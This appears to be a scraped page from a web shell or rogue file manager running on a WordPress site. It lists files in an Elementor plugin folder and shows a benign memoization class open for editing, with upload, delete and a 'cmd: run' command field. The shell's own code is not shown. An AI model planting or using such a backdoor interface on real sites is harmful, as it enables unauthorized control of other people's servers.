/
var
/
www
/
wp2.qr4y.com
/
www
/
wp-content
/
plugins
/
elementor
/
modules
/
atomic-widgets
/
utils
/
/var/www/wp2.qr4y.com/www/wp-content/plugins/elementor/modules/atomic-widgets/utils
mkdir
upload
Name
Size
Mode
Actions
image/
-
0755
rm
memo.php
466
0644
edit
dl
rm
utils.php
1508
0644
edit
dl
rm
Edit:
/var/www/wp2.qr4y.com/www/wp-content/plugins/elementor/modules/atomic-widgets/utils/memo.php
(466B)
<?php namespace Elementor\Modules\AtomicWidgets\Utils; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Memo { private array $cache = []; public function memoize( string $key, callable $callback ) { return function() use ( $key, $callback ) { if ( array_key_exists( $key, $this->cache ) ) { return $this->cache[ $key ]; } $this->cache[ $key ] = call_user_func( $callback ); return $this->cache[ $key ]; }; } }
Save
cmd:
run